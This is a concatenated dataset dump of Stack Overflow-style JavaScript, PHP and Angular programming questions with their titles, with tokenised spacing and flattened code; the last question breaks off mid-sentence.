/Footer > ) ;",Can I transclude the children of the original element in ReactJS ? "JS : I 'm using Karma with Jasmine for my tests . In some tests , I have large objects that the test relies on . When I do something likeand obj ! = expectedObj , I get an error message in my terminal . But this error is really long , because it includes both of the objects , and it 's very hard to see , in what parts the two objects are different.So , is there any highlighter for the terminal , that can be used along with karma ? This way , it would be much more easy to figure out , what 's wrong . expect ( obj ) .toEqual ( expectedObj ) ;",Karma jasmine tests : Highlight diff in terminal "JS : If the user wants to stop the HTML5 media , for example by clicking “ pause ” native control button , we get `` onpause '' event.At the same time , if media element reaches the end of the specified fragment , it triggers the same `` onpause '' event automatically . Is it possible to separate one from another ? In JQuery style , I tried to make use of `` ontimeupdate '' event , but refused : I want to react exactly when an automatic pause ( caused by reaching the end of a fragment ) takes place . < video id= '' video1 '' src= '' url/video.webm # t=10,20 '' controls > < /video > < script type= '' text/javascript '' > $ ( window ) .load ( function ( ) { $ ( ' # video1 ' ) .on ( `` manualpause '' , function ( ) { alert ( `` you paused this media manually ! `` ) ; } ) ; $ ( ' # video1 ' ) .on ( `` fragmentend '' , function ( ) { alert ( `` you 've reached the end of the fragment ! your media is now paused automatically ! `` ) ; } ) ; } ) ; < /script >","How to distinguish between two `` onpause '' events - caused by clicking “ pause ” button , and caused by reaching the end of a media fragment ?" "JS : I 've run the following in the console on Firefox ( version 21 ) and I 'm getting results I do n't expect.The result really throws me for a loop.The first date shows up as Eastern Daylight Time , while the second one shows up with Eastern Standard Time . It 's totally backwards . This does not happen with IE or with Chrome.What 's going on here ? new Date ( 1362891600000 ) ; var date = new Date ( 1362891600000 ) ; var time = date.getHours ( ) ; new Date ( date.setHours ( date.getHours ( ) + 24 ) ) ;",javascript seems to be using time zones backwards with Firefox "JS : How can I combine a character followed by a `` combining accent '' into a single character ? I 'm taking a phrase that the user enters into a web page and submitting it to a French-English dictionary . Sometimes the dictionary lookup would fail because there are two representations for most accented characters . For example : é can be done in a single character : \xE9 ( latin small letter e with acute ) .But it an also be represented by two characters : e + \u0301 ( combining acute accent ) .I always want to submit the former ( single character ) to the dictionary.Right now , I 'm doing that by replacing every two-character occurrence I find with the equivalent single character . But is there a simpler ( i.e . one-line ) way to do this , either in JavaScript or in the browser when its fetched form the input field ? function translate ( phrase ) { // Combine accents into a single accented character , if necessary . var TRANSFORM = [ // Acute accent . [ /E\u0301/g , `` \xC9 '' ] , // É [ /e\u0301/g , `` \xE9 '' ] , // é // Grave accent . [ /a\u0300/g , `` \xE0 '' ] , // à [ /e\u0300/g , `` \xE8 '' ] , // è [ /u\u0300/g , `` \xF9 '' ] , // ù // Cedilla ( no combining accent ) . // Circumflex . [ /a\u0302/g , `` \xE2 '' ] , // â [ /e\u0302/g , `` \xEA '' ] , // ê [ /i\u0302/g , `` \xEE '' ] , // î [ /o\u0302/g , `` \xF4 '' ] , // ô [ /u\u0302/g , `` \xFB '' ] , // û // Trema . [ /e\u0308/g , `` \xEB '' ] , // ë [ /i\u0308/g , `` \xEF '' ] , // ï [ /u\u0308/g , `` \xFC '' ] // ü // oe ligature ( no combining accent ) . ] ; for ( var i = 0 ; i < TRANSFORM.length ; i++ ) phrase = phrase.replace ( TRANSFORM [ i ] [ 0 ] , TRANSFORM [ i ] [ 1 ] ) ; // Do translation . ... }",How can I combine a character followed by a `` combining accent '' into a single character ? "JS : Does anyone know of a way to get around declaring var self = this when using JavaScript in an OO fashion ? I see it quite often and was curious if its just something you have to do , or if there really is a way ( perhaps a class library ? ) that lets you get around it ? I do realize why it is necessary ( this has function scope ) . But you never know what clever ways may be out there..For example , I usually code my `` classes '' like this in JS : function MyClass ( ) { } MyClass.prototype = { firstFunction : function ( ) { var self = this ; $ .ajax ( { ... success : function ( ) { self.someFunctionCall ( ) ; } } ) ; } , secondFunction : function ( ) { var self = this ; window.setTimeout ( function ( ) { self.someOtherFunction ( ) ; } , 1000 ) ; } } ;",OO JavaScript - Avoiding self = this "JS : I have two select elements . both select have same values . when I select option from 1 select box it should disable all previous select options from second select box.Let 's suppose I have this select : If I select value 3 from s1 box it should disable all previous options from s2 select . if I select value 2 from s1 it should disable all previous values in s2.Note : It should not disable next values , just the previous ones . I 'm looking for a jquery solution . < select id= '' s1 '' > < option value= '' 1 '' > 1 < /option > < option value= '' 2 '' > 2 < /option > < option value= '' 3 '' > 3 < /option > < /select > < select id= '' s2 '' > < option value= '' 1 '' > 1 < /option > < option value= '' 2 '' > 2 < /option > < option value= '' 3 '' > 3 < /option > < /select >",How to disable previous selected options when select option from first select JS : I have the following two strings : How can I check whether both strings contain the same characters ? var str1 = `` hello '' ; var str2 = `` ehlol '' ;,How can I compare two shuffled strings ? "JS : I have this find_all ( ) function which is written in a separate file : It was referenced at the top of the file that includes my foreach loop : This is the foreach loop : And this is the javascript code : Basically , what my code does is to create rows of information that gets its data from the foreach loop . At the end of each row is a delete icon , as illustrated by the img tag . Upon clicking the delete icon , the show ( ) function will run ( The show ( ) function just shows the popup div , which is invisible ) -- confirming if the user wants to delete his/her data or not . If the user clicks CANCEL , the window will close , as illustrated by the javascript code . If the user click YES , it is SUPPOSED to go to the link : list_users.php ? parentNum=parentNum ; ? > ( The value of $ parent- > parentNum is different for each row ) . However , the anchor tag ALWAYS retrieves the link for the first row regardless of whether it 's the third row or whatever ( The links on the other td tags work , by the way ) . Now , my question is , how do I correctly link the YES button for each row on the popup div ? public static function find_all ( ) { return self : :find_by_sql ( `` SELECT * FROM `` .self : : $ table_name ) ; } < ? php require_once ( `` ../../includes/initialize.php '' ) ; ? > < ? php if ( ! $ session- > is_logged_in ( ) ) { redirect_to ( `` login.php '' ) ; } ? > < ? php $ parents = UserParent : :find_all ( ) ; ? > < ? php foreach ( $ parents as $ parent ) : ? > < div class='popup-screen ' id = `` popup '' > < div class = `` spacing '' > Do you want to delete this data ? < /div > < a href= '' list_users.php ? parentNum= < ? php echo $ parent- > parentNum ; ? > '' > < input type= '' button '' value= '' YES '' class = `` popup-button '' > < /a > < input type= '' button '' value= '' CANCEL '' class = `` popup-button '' onClick = `` hide ( ) ; '' > < /div > < tr class = `` tr-1 '' > < td onClick = `` document.location = 'viewParent.php ? parentNum= < ? php echo $ parent- > parentNum ; ? > ' ; '' > < img src= '' ../ < ? php echo $ parent- > image_path ( ) ; ? > '' width= '' 100 '' height = `` 100 '' class = `` profile-pic '' / > < /td > < td onClick = `` document.location = 'viewParent.php ? parentNum= < ? php echo $ parent- > parentNum ; ? > ' ; '' > Parent < /td > < td onClick = `` document.location = 'viewParent.php ? parentNum= < ? php echo $ parent- > parentNum ; ? > ' ; '' > < ? php echo $ parent- > username ; ? > < /td > < td onClick = `` document.location = 'viewParent.php ? parentNum= < ? php echo $ parent- > parentNum ; ? > ' ; '' > < ? php echo ucwords ( $ parent- > firstName ) ; ? > < /td > < td onClick = `` document.location = 'viewParent.php ? parentNum= < ? php echo $ parent- > parentNum ; ? > ' ; '' > < ? php echo ucwords ( $ parent- > lastName ) ; ? > < /td > < td onClick = `` show ( ) ; '' > < img src = `` ../stylesheets/images2/delete-icon.png '' height= '' 25 '' width= '' 25 '' > < /td > < /tr > < ? php endforeach ; ? > function show ( ) { document.getElementById ( `` popup '' ) .style.display='block ' ; } function hide ( ) { document.getElementById ( `` popup '' ) .style.display='none ' ; }",PHP : My button does n't properly work inside a foreach loop "JS : Before you think `` why is this guy asking for help on this problem , surely this has been implemented 1000x '' - while you are mostly correct , I have attempted to solve this problem with several open source libs yet here I am.I am attempting to implement an SVG based `` zoom in on mouse wheel , focusing on the mouse '' from scratch.I know there are many libraries that accomplish this , d3 and svg-pan-zoom to name a couple . Unfortunately , my implementations using those libs are falling short of my expectations . I was hoping that I could get some help from the community with the underlying mathematical model for this type of UI feature.Basically , the desired behavior is like Google Maps , a user has their mouse hovering over a location , they scroll the mouse wheel ( inward ) , and the scale of the map image increases , while the location being hovered over becomes the horizontal and vertical center of the viewport.Naturally , I have access to the width / height of the viewport and the x / y of the mouse.In this example , I will only focus on the x axis , the viewport is 900 units wide , the square is 100 units wide , it 's x offset is 400 units , and the scale is 1:1Assuming the mouse x position was at or near 450 units , if a user wheels in until scale reached 2:1 , I would expect the x offset to reach -450 units , centering the point of focus like so.The x and y offsets need to be recalculated on each increment of wheel scroll as a function of the current scale / mouse offsets . All of my attempts have fallen utterly short of the desired behavior , any advice is appreciated.While I appreciate any help , please refrain from answering with suggestions to 3rd party libraries , jQuery plugins and things of that nature . My aim here is to understand the mathematical model behind this problem in a general sense , my use of SVG is primarily illustrative . < g transform= '' translate ( 0 0 ) scale ( 1 ) '' > < g transform= '' translate ( -450 0 ) scale ( 2 ) '' >",SVG zoom in on mouse - mathematical model "JS : For example , in this codeis it possible to get a reference to that setter function for o.a so that if the reference is assign to f then I can do f.call ( other , value ) to use it on another object ? var o = { set a ( value ) { this.b = value } , get a ( ) { return this.b } }",Is it possible to get a reference to the setter function of a `` setter '' ? "JS : I have a react component , In which I am using a date picker . Based on value of Date selected I am sending an ajax request to fetch data.I am not using any frameworks like redux or flux.Now suppose I changed the date to another date . What is the best way to fetch the data again ? should I fire request again inonDateSelectionChanged or is there any life-cycle method ? export default class MyComponent extends Component { constructor ( props ) { super ( props ) ; } componentDidMount ( ) { // Initial fetch request based on the default date } onDateSelectionChanged ( fromDate , toDate ) { this.setState ( { fromDate , toDate } ) ; } render ( ) { return ( < div className= '' row '' > < DateRangePicker callBackParent = { this.onDateSelectionChanged } / > { /* other stuff */ } < /div > ) ; } }",sending ajax request with state data when state changes "JS : The Background : I am using ui-router for my Angular page routing needs . It 's working great so far , however I 'm running into an issue . When I load a state and I resolve my user object . I use restangular to make the call to the database and it returns a promise . Everything works great . If I then log out , and log in as another user . Then navigate back to that same page it shows the previous user object . Things that I 've discovered : The rest api call is being made every time when the state loads , andit is the correct information . If I place a break point inside my controller the user object that the resolve passes is the cachedinformation.Theories : The rest API end point is /users/me/ , which is the same end point forevery user . We just deliver different information based off of theJWT token we pass . Somewhere must things since it 's the same calldo n't bother delivering the goods it already got.Things I 've tried : I 've confirmed that the API call is n't cached , and it is deliveringthe correct information to angularI 've tried grabbing the $ cacheFactory of $ http and .removeAll.Sample code : angular.module ( 'services.user ' , [ ] ) .factory ( 'User ' , function ( Restangular ) { return Restangular.service ( 'users ' ) ; } ) ; angular.module ( 'settings.profile ' , [ 'ui.router ' , 'services.user ' ] ) .config ( function ( $ stateProvider ) { $ stateProvider .state ( 'settings.profile ' , { url : '/profile ' , templateUrl : 'app/settings/profile/settings.profile.html ' , controller : 'SettingsProfileCtrl ' , authenticate : true , resolve : { user : function ( User ) { var user = User.one ( 'me ' ) .get ( ) return user ; } } } ) ; } ) .controller ( 'SettingsProfileCtrl ' , function ( $ scope , $ location , user , $ http , apiUrl ) { $ scope.user = user ; }",The ui-router for angular seems to be cacheing the resolve . When I do n't want it to "JS : I am trying to add more Vimeo videos in a single player , that would autoplay , and will play the videos one after another , and repeat the playlist eventually.I have found this http : //luwes.co/labs/vimeo-wrap/ , it does everything I need , but it does not work properly , not even on their website , it plays just the first video.BUT it works properly on their example on jsfiddle http : //jsfiddle.net/luwes/uPgMv/Using Chrome browser , I see this error in the console : Blocked a frame with origin `` http : //player.vimeo.com '' from accessing a frame with origin `` http : //luwes.co '' . Protocols , domains , and ports must match.Or maybe you know a better jquery plugin that would do the same thing ? or maybe a WordPress plugin that can do that ? I have n't found nothing better than the jquery plugin above . < div id= '' player '' > < /div > < script src= '' http : //luwes.co/vimeowrap.js/vimeowrap.js '' > < /script > < script > vimeowrap ( 'player ' ) .setup ( { urls : [ 'https : //vimeo.com/20768621 ' , 'https : //vimeo.com/21953913 ' , 'https : //vimeo.com/24581859 ' ] , repeat : 'list ' } ) ; < /script >",More Vimeo videos in a single player that autoplays "JS : So I 'm doing something like this : But as everyone knows , things do n't always go that smoothly . When I included a `` tag '' in the inline code , AngularJS seems to completely ignored the whole thing and rendered the source code.I triedandbut they both did n't work . Any idea ? { { someFlag ? `` < b > Bold Text < /b > '' : `` < i > Italic Text < /i > '' } } `` \ < b > ... .. `` & lt ; b > ...",Inline tags in AngularJS JS : In one repo I saw a line.I think this is trying to strip any methods off the object . I ca n't really see it doing anything else . Is there a more efficient way to attempt this ? Does node optimize this ? var foo = JSON.parse ( JSON.stringify ( foo ) ) ;,Strip methods off javascript object "JS : I am using Rails and jquery , and I need a dynamic content with ajax . But I do n't know how to get the current user IDFor example the url is www.mywebsite.com/users/20In my javascript file I need the user ID ( 20 ) Thanks in advance for any help.Is there another way to do this ? $ .get ( `` /users/ < % = **20** % > .json '' , function ( data ) { } , `` json '' ) ;",dynamic content with ajax ( ruby on rails ) "JS : Let 's assume I have an interfaceand two concrete classes implementing this interface : My client can not execute doStuff ( ) directly , but needs an instance of a class implementing an Executer interface , like one of those : For such cases I always used the Visitor pattern in Java . I could create a visitor , pass two Executer instances to it and implement the visit method with an A and a B overloading , creating a conditional-free solution , like this : Now , there is no such thing as method overloading in TypeScript / JavaScript . But what is the alternative to creating a conditional like this ? : Note : I want to have the A class know nothing about AExecuter . This would increase the coupling between those two classes and I could not switch the implementation of AExecutor easily . interface I < T extends InternalResult > { doStuff ( ) : T ; } class A implements I < InternalAResult > { doStuff ( ) : InternalAResult { // implementation } } class B implements I < InternalBResult > { doStuff ( ) : InternalBResult { // implementation } } interface Executer < T , R > { execute ( it : T ) : R ; } class AExecuter implements Executer < A , AResult > { execute ( it : A ) : AResult { let internalResult = it.doStuff ( ) ; // ... do something specific with internalResult create result return result ; } } class BExecuter implements Executer < B , BResult > { execute ( it : B ) : BResult { let internalResult = it.doStuff ( ) ; // ... do something other specific with internalResult create result return result ; } } class Visitor { private aExecuter : AExecuter ; private bExecuter : BExecuter ; visit ( it : A ) : Result { return this.aExecuter.execute ( it ) ; } visit ( it : B ) : Result { return this.bExecuter.execute ( it ) ; } } if ( it instanceof A ) aExecuter.execute ( it ) ; else if ( it instanceof B ) bExecuter.execute ( it ) ;",Alternative for visitor pattern in TypeScript ( avoiding instanceof conditionals ) "JS : I 'm using the CSS content attribute to pass some values from my LESS stylesheet to JavaScript ( to use some colors defined in LESS in Canvas elements ) .To make my life easier I decided to place these values in a easy way to parse them in JavaScript.LESS code : which when compiled brings the following CSS : Then I try to read them using jQuery : The problem is that in IE9 calling $ ( `` div # colorChart-critical '' ) .css ( `` content '' ) is returning the string `` normal '' for some reason . Opera , Firefox , Safari and Chrome works fine.Why does this happen in IE9 ? Any work-around this issue on IE9 ? If not any other CSS atribute I can put random texts in ? I could use something like : But this would generate errors on the console . div # colorChart-critical { content : ' @ { critical-highest } , @ { critical-veryhigh } , @ { critical-high } , @ { critical-low } , @ { critical-medium } , @ { critical-verylow } ' ; } div # colorChart-critical6 { content : ' # ff0000 , # ff7200 , # fffc00 , # 0000ff , # a200ff , # 00ff00 ' ; } $ ( `` div # colorChart-critical '' ) .css ( `` content '' ) .split ( `` , '' ) ; background : url ( # ff0000 , # ff7200 , # fffc00 , # 0000ff , # a200ff , # 00ff00 ) ;",jQuery $ ( ) .css ( `` content '' ) returning the string `` normal '' in IE9 "JS : The Application LayoutI have an application , with a sidebar that holds many items and a main div which displays these items . There is also a simple Backbone.Router , a ItemsCollection and a Item model . I 've got a SidebarView for the sidebar and a ShowView to show the selected item.On startup , I initialize the SidebarView and the MainRouter . The SidebarView attaches its render method to the ItemCollection # all event . I also attach the ItemCollection # refresh event to Backbone.history.start ( ) , then I fetch the ItemCollection.The problemI want to highlight the currently selected item . This works by binding the route.show event from the router : It works perfectly when I select an Item when the app is loaded . But when the page is loaded with # /show/123 as the URL , the item is not highlighted . I run the debugger and found out , that the sidebar is not rendered yet , when the highlight_item callback is invoked.Possible solutionsIs there any way to reorder the bindings , so that the Item # refresh event invokes SidebarView # render first and then start the routing ? Maybe a workaround that just takes the current route from the window.router ( I did not find any method in the Backbone Docs ) and highlights the Item when its rendered ? Or is my initialization just stupid and should I handle things differently ? + -- -- -- -- -- -- -- -- -- -- -- -- -+ | http : //app.de/ # /show/3 | < -- Current URL + -- -- -- -- -- -- -- -- -- -- -- -- -+ | Sidebar | Main | | -- -- -- -- -+ -- -- -- -- -- -- -- -| | Item 1 | | SidebarView -- > | -- -- -- -- -| Display | | Item 2 | Item 3 | < -- MainView handled by | -- -- -- -- -| here | MainRouterSelected Item -- > | Item 3 *| | + -- -- -- -- -+ -- -- -- -- -- -- -- -+ $ ( function ( ) { window.router = new App.MainRouter ; window.sidebar = new App.SidebarView ; ItemCollection.bind ( `` reset '' , _.once ( function ( ) { Backbone.history.start ( ) } ) ) ; ItemCollection.fetch ( ) ; } ) ; # I removed all code which is not necessary to understand the bindingclass SidebarView extends Backbone.View el : `` .sidebar '' initialize : ( ) - > window.router.bind 'route : show ' , @ highlight_item # The route is routed to # /show/ : id , so I get the id here highlight_item : ( id ) - > $ ( `` .sidebar .collection .item '' ) .removeClass ( `` selected '' ) $ ( `` # item- '' + id ) .addClass ( `` selected '' )",Highlight selected item with backbone router callbacks "JS : I just installed vue-instant to make an auto suggestion for search and get an example code like thishttps : //jsfiddle.net/santiblanko/dqo6vr57/My question is how to move components 'vue-instant ' : VueInstant.VueInstant to a new Vue component like this one : I 've tried something like this : but it does n't work Vue.component ( 'vue-instant-component ' , { //vue-instant } Vue.component ( 'vue-instant ' , { data : { value : `` , suggestionAttribute : 'original_title ' , suggestions : [ ] , selectedEvent : `` '' } , methods : { clickInput : function ( ) { this.selectedEvent = 'click input ' } , clickButton : function ( ) { this.selectedEvent = 'click button ' } , selected : function ( ) { this.selectedEvent = 'selection changed ' } , enter : function ( ) { this.selectedEvent = 'enter ' } , keyUp : function ( ) { this.selectedEvent = 'keyup pressed ' } , keyDown : function ( ) { this.selectedEvent = 'keyDown pressed ' } , keyRight : function ( ) { this.selectedEvent = 'keyRight pressed ' } , clear : function ( ) { this.selectedEvent = 'clear input ' } , escape : function ( ) { this.selectedEvent = 'escape ' } , changed : function ( ) { var that = this ; this.suggestions = [ ] ; axios.get ( 'https : //api.themoviedb.org/3/search/movie ? api_key=342d3061b70d2747a1e159ae9a7e9a36 & query= ' + this.value ) .then ( function ( response ) { response.data.results.forEach ( function ( a ) { that.suggestions.push ( a ) } ) ; } ) ; } } } )",Vue Component Vue-Instant "JS : So I wasted a bunch of time writing some code like this : I was trying to get node to wait ( and not exit ) until the reponse came back from the webserver . Turns out , this didint ' work , and what did work was doing nothing . Just : How did request keep node from exiting while the callback was pending ? function processResponse ( error , response , body ) { if ( ! error & & response.statusCode == 200 ) { console.log ( body ) ; } else { console.error ( util.inspect ( response , false , null ) ) ; } waiting = false ; } ; request.get ( requestOpts.url , processResponse ) ; console.log ( `` Waiting '' ) ; while ( waiting ) { count += 1 ; if ( count % 10000000 == 0 ) { console.log ( count ) ; } } request.get ( requestOpts.url , processResponse ) ;",What causes node.js to wait until the request finishes ? "JS : I 'm already busy with a one page navigation . Below you will find more information about the problem and my wish.How should it work ? Once a navigation item is clicked , scroll to its particular section and update the active class of the menu . And if the page is scrolled to its particular section , it should update the active state too - so change the class to its particular anchor.Fixed headerFor the website I also used a fixed header , so this should NOT be overlay the particular section . So the menu should stop scrolling when the bottom of the header is reaching the top of the section.Variable sectionsAll sections on the one page design has a different height.ProblemI have already tried a lot of code , to get it work . Most of the code is working , but this isn ’ t in all browsers the same . Also I have some trouble with updating the active state of the particular section - that match to the active anchor.CodeI used jQuery to create a smooth scroll to anchor . You can see my working code at JSfiddle.Here are all resources : JSHere I controle the click function of the navigation.So when the user click a list item of # primary-navwrapper , then change the active state class and scroll to the particular section , that match with the clicked anchor.Beside the click function , I also want that when the user scrolls around the one page , it will automatically update the active statement.In above code , I think that the line of if ( target.position ( ) .top < = windowPos & & target.position ( ) .top + target.height ( ) > windowPos ) isn ’ t correct and maybe to long..If there are any questions or something , I like to hear from you.Casper $ ( ' # primary-navwrapper li ' ) .find ( ' a [ href^= '' # '' ] ' ) .click ( function ( event ) { // Prevent from default action to intitiate event.preventDefault ( ) ; $ ( ' # primary-navwrapper li a ' ) .removeClass ( `` current '' ) ; $ ( this ) .addClass ( `` current '' ) ; // The id of the section we want to go to . var anchorId = $ ( this ) .attr ( `` href '' ) ; // Our scroll target : the top position of the // section that has the id referenced by our href . var target = $ ( anchorId ) .offset ( ) .top - offset ; //console.log ( target ) ; $ ( 'html , body ' ) .animate ( { scrollTop : target } , 500 , function ( ) { //window.location.hash = ' ! ' + id ; window.location.hash = anchorId ; } ) ; } ) ; function setActiveListElements ( event ) { // Get the offset of the window from the top of page var windowPos = $ ( window ) .scrollTop ( ) ; $ ( ' # primary-navwrapper li a [ href^= '' # '' ] ' ) .each ( function ( ) { var anchorId = $ ( this ) ; var target = $ ( anchorId.attr ( `` href '' ) ) ; if ( target.length > 0 ) { if ( target.position ( ) .top < = windowPos & & target.position ( ) .top + target.height ( ) > windowPos ) { $ ( ' # primary-navwrapper li a ' ) .removeClass ( `` current '' ) ; anchorId.addClass ( `` current '' ) ; } } } ) ; } $ ( window ) .scroll ( function ( ) { setActiveListElements ( ) ; } ) ;",Trouble with an one page navigation - updating/highlighting active state and scroll to anchor "JS : I am working on a web page for uploading photos from a mobile device , using the < input type= '' file '' accept= '' image/* '' / > tag . This works beautifully on iphone and on chrome on the android , but where we are running into issues is with the stock android browser.The issue arises when you select a file from your gallery ( it works fine when you use the camera to take a photo ) . And we have narrowed it down even further to seeing that the data MIME type is n't available when taken from the gallery on the stock browser ( the photos below show the first 100 characters of the data URL being loaded . The goal was to force JPEG , but without the MIME type we can not know for sure how to fix this . See code below for how the images are being rendered.How can an image be rendered without the type ? Better yet , does anybody know why the type is not available on the stock android browser ? EDITFirstly , these are not the same image , they were taken near the same time , and that 's not the issue , that 's why the data is different ( The MIME type does n't appear on any images on the stock browser , so that 's not the problem.UpdateI confirmed that the MIME type is the issue by inserting image/jpeg into the stock browser where it is on chrome . Unfortunately , we have no way of guaranteeing that it 's going to be jpeg , so we again really ca n't do it that wayChromeStock Browser _readInputFile : function ( file , index ) { var w = this , o = this.options ; try { var fileReader = new FileReader ( ) ; fileReader.onerror = function ( event ) { alert ( w._translate ( `` There was a problem opening the selected file . For mobile devices , some files created by third-party applications ( those that did not ship with the device ) may not be standard and can not be used . '' ) ) $ ( ' # loadingDots ' ) .remove ( ) ; return false ; } fileReader.onload = function ( event ) { var data = event.target.result ; //alert ( data.substring ( 0,100 ) ) ; //var mimeType = data.split ( `` : '' ) [ 1 ] .split ( `` ; '' ) [ 0 ] ; alert ( `` Load Image '' ) ; //I get to this point $ ( ' # ' + w.disp.idPrefix + 'hiddenImages ' ) .append ( $ ( ' < img / > ' , { src : data , id : `` dummyImg '' + index , load : function ( ) { var width = dummy.width ( ) ; var height = dummy.height ( ) ; $ ( ' # dummyImg ' + index ) .remove ( ) ; alert ( `` Render '' ) ; // I do n't get here var resized = w._resizeAndRenderImage ( data , null , null , biOSBugFixRequired , skewRatio , width , height ) ; alert ( `` Image Rendered '' ) ; // I do n't get here } } ) ) ; } fileReader.readAsDataURL ( file ) ; } catch ( e ) { } }",Issue with stock Browser picking photos from Gallery "JS : i am trying to convert a string value to expression so that i can use it in if condition like : is it possible to do this , please suggest me.Thanks var StringVal = '20 > 18 & & `` yes '' == `` yes '' ' ; if ( StringVal ) { ... . }",Convert variable string value to expression in JavaScript "JS : I am trying to make a PUT request to a RESTful web service , however , it appears that jQuery 1.5 does respond to any changes in the 'type ' setting . The request is sent as a GET no matter the value in 'type ' . In jQuery 1.4 this is n't a problem.Here 's my code : $ .ajax ( { type : `` PUT '' , url : `` https : //api.somesite.com/v1.0/people/ '' + individualID + `` / '' , dataType : `` jsonp '' , data : $ ( `` # editProfile '' ) .serializeArray ( ) , cache : `` false '' , success : function ( data , textStatus , jqXHR ) { $ .modal.close ( ) ; } , error : function ( jqXHR , textStatus , errorThrown ) { alert ( `` Error ! `` ) ; } } ) ;",jQuery 1.5 only sends GET requests in ajax method "JS : I 'd like to override the global .Mui-disabled CSS rule from my theme overrides . I can do it for specific components like this ( in Material-UI v4.1.x ) : I 'd like to avoid the need to add that to each different component and simply override the .Mui-disabled class rules once . Basically I do n't want all disabled items to have the default grey colored background . Is there an easy way to do that from the theme ? Thanks for any insight ! MuiTheme [ 'overrides ' ] = { ... MuiMenuItem : { root : { ... root level overrides , ' & . $ Mui-disabled ' : { backgroundColor : 'inherit ' } } } }",Override .Mui-disabled ( or other pseudo-classes/states ) from the theme ( MUI v4.1.X ) "JS : what is the difference between var bmw = cars.bmw and var { bmw } = cars ? Which way is better ? And I 've seen people do this in Nodejs . Is it the same thing ? var cars = { bmw : `` M3 '' , benz : `` c250 '' } var bmw = cars.bmw // M3var { bmw } = cars // M3 var { ObjectId } = require ( 'mongodb ' ) var ObjectId = require ( 'mongodb ' ) .ObjectID ;",Destructuring assignment vs object property access in ES6 "JS : I 've got a ng-repeat directive with some filters on it and massive DOM inside each repetition . For example : I want to improve performance a bit , but I want to keep two-way binding.One way to do it is to insert track by : The other way is to use native bind once in bindings : Obviously I can not use both of them because in this case two way binding will not work . How can I measure DOM rebuild speed ? Which way is more effective ? < ul > < li ng-repeat='task in tasks ' > < ! -- Some DOM with many bindings -- > < /li > < /ul > ng-repeat='task in tasks track by task.id ' { { : :task.name } }",Angular bind once vs. track by performance "JS : I 'm developing a web mapping application using the Vuelayers library which is Web map Vue components with the power of OpenLayers.I have the following code in my template : And in the data object I have the following property : So how do I get the layer properties when I click on it ? Knowing that vl-tile-layer does n't have the @ click event as mentioned here . < vl-map @ singleclick= '' hideOverlay '' @ postcompose= '' onMapPostCompose '' : load-tiles-while-animating= '' true '' ref= '' map '' : load-tiles-while-interacting= '' true '' data-projection= '' EPSG:4326 '' style= '' height : 900px '' @ mounted= '' onMapMounted '' > ... . < component v-for= '' layer in layers '' : ref= '' layer.id '' overlay : is= '' layer.cmp '' : key= '' layer.id '' v-bind= '' layer '' > < component : is= '' layer.source.cmp '' v-if= '' layer.visible '' v-bind= '' layer.source '' > < /component > < /component > ... . < /vl-map > layers : [ { id : 'sections ' , title : 'Sections ' , cmp : 'vl-layer-tile ' , visible : true , source : { cmp : 'vl-source-wms ' , url : 'http : //localhost:8080/geoserver/sager/wms ' , layers : 'sections ' , tiled : true , format : 'image/png ' , serverType : 'geoserver ' , } , } , ... . ]",How do I interact with WMS tile layer served by GeoServer using Vuelayers ? "JS : I 'm a newbie to ReactJS and I have made an app where you can submit a name and email . The name and mail should be displayed in a list at the bottom of the page . It is displayed for a short period , but then the constructor gets called and clears the state and the list.Why is the constructor called after the state change ? I thought the constructor only runs once and then the render-method runs after setState ( ) changes the state.See CodePen example class App extends React.Component { constructor ( props ) { super ( props ) ; console.log ( `` App constructor '' ) ; this.state = { signedUpPeople : [ ] } ; this.signUp = this.signUp.bind ( this ) ; } signUp ( person ) { this.setState ( { signedUpPeople : this.state.signedUpPeople.concat ( person ) } ) ; } render ( ) { return ( < div > < SignUpForm signUp= { this.signUp } / > < SignedUpList list= { this.state.signedUpPeople } / > < /div > ) ; } } class SignUpForm extends React.Component { constructor ( props ) { super ( props ) ; console.log ( `` SignUpForm constructor '' ) ; this.state = { name : `` '' , email : `` '' } ; this.changeValue = this.changeValue.bind ( this ) ; this.onSubmitForm = this.onSubmitForm.bind ( this ) ; } changeValue ( event ) { const value = event.target.value ; const name = event.target.name ; this.setState ( { name : value } ) ; } onSubmitForm ( ) { this.props.signUp ( this.state ) ; this.setState ( { name : `` '' , email : `` '' } ) ; } render ( ) { console.log ( `` SignUpForm render '' ) ; return ( < div > < h2 > Sign up < /h2 > < form onSubmit= { this.onSubmitForm } > < label htmlFor= '' name '' > Name : < /label > < input id= '' name '' name= '' name '' onChange= { this.changeValue } / > < br / > < label htmlFor= '' email '' > E-mail : < /label > < input id= '' email '' name= '' name '' onChange= { this.changeValue } / > < input type= '' submit '' value= '' Sign up '' / > < /form > < /div > ) ; } } class SignedUpList extends React.Component { render ( ) { console.log ( `` SignedUpList render '' ) ; return ( < div > < h2 > Already signed up < /h2 > < ul > { this.props.list.map ( ( { name , email } , index ) = > ( < li key= { index } > { name } , { email } < /li > ) ) } < /ul > < /div > ) ; } } ReactDOM.render ( < App / > , window.document.getElementById ( `` app '' ) ) ;",ReactJS : Why are the constructor called when setState changes the state "JS : Total noob on ionic/cordova/angular here . Started last week , so I am struggling here . I am trying to upload files from an app ( on iOS ) , which was created using Ionic and Cordova . The files are images and thus are very big . I want to upload these images in a background worker thread . Thus comes the need for web workers.The images have to be uploaded to Amazon S3 . I have the following code in my worker javascript file.My main javascript file is all fine , because I tried it out with non-AWS configurations ( plain old console.log ( `` stuff here '' ) ) and it works all well . It starts failing as soon as I try to do anything with the AWS SDK . Also , the aws-sdk.min.js is being imported correctly ( atleast Chrome shows no error on the console ) . onmessage = function ( e ) { importScripts ( `` aws-sdk.min.js '' ) ; console.log ( `` Doing work '' ) ; self.AWS.config.region = 'us-east-1 ' ; //Error here . config is not defined : ( self.AWS.config.update ( { accessKeyId : 'XXX ' , secretAccessKey : 'ABCD ' } ) ; //More AWS stuff postMessage ( `` DONE '' ) ; }",Using AWS SDK with web workers "JS : For example , given the following record : Is there some way to do the equivalent of the following : Otherwise I end up simply using something like Map < string , any > which I think takes away from using Immutable.js with the Flow type system . type UserRecord = { id : string ; name : ? string ; age : number ; } /* @ flow */import { List , Map } from 'immutable'const users : List < Map < UserRecord > > = List ( ) ; let user : Map < UserRecord > ; user = Map ( { id : '666 ' , age : 30 } ) ; users.push ( user ) ;",Is it possible to wrap a flow type in an immutable container ? "JS : I am trying to pick up python and as someone coming from Javascript I have n't really been able to understand python 's regex package reWhat I am trying to do is something I have done in javascript to build a very very simple templating `` engine '' ( I understand AST is the way to go for anything more complex ) : In javascript : In Javascript that will result in : `` One To Rule All testing this . { { 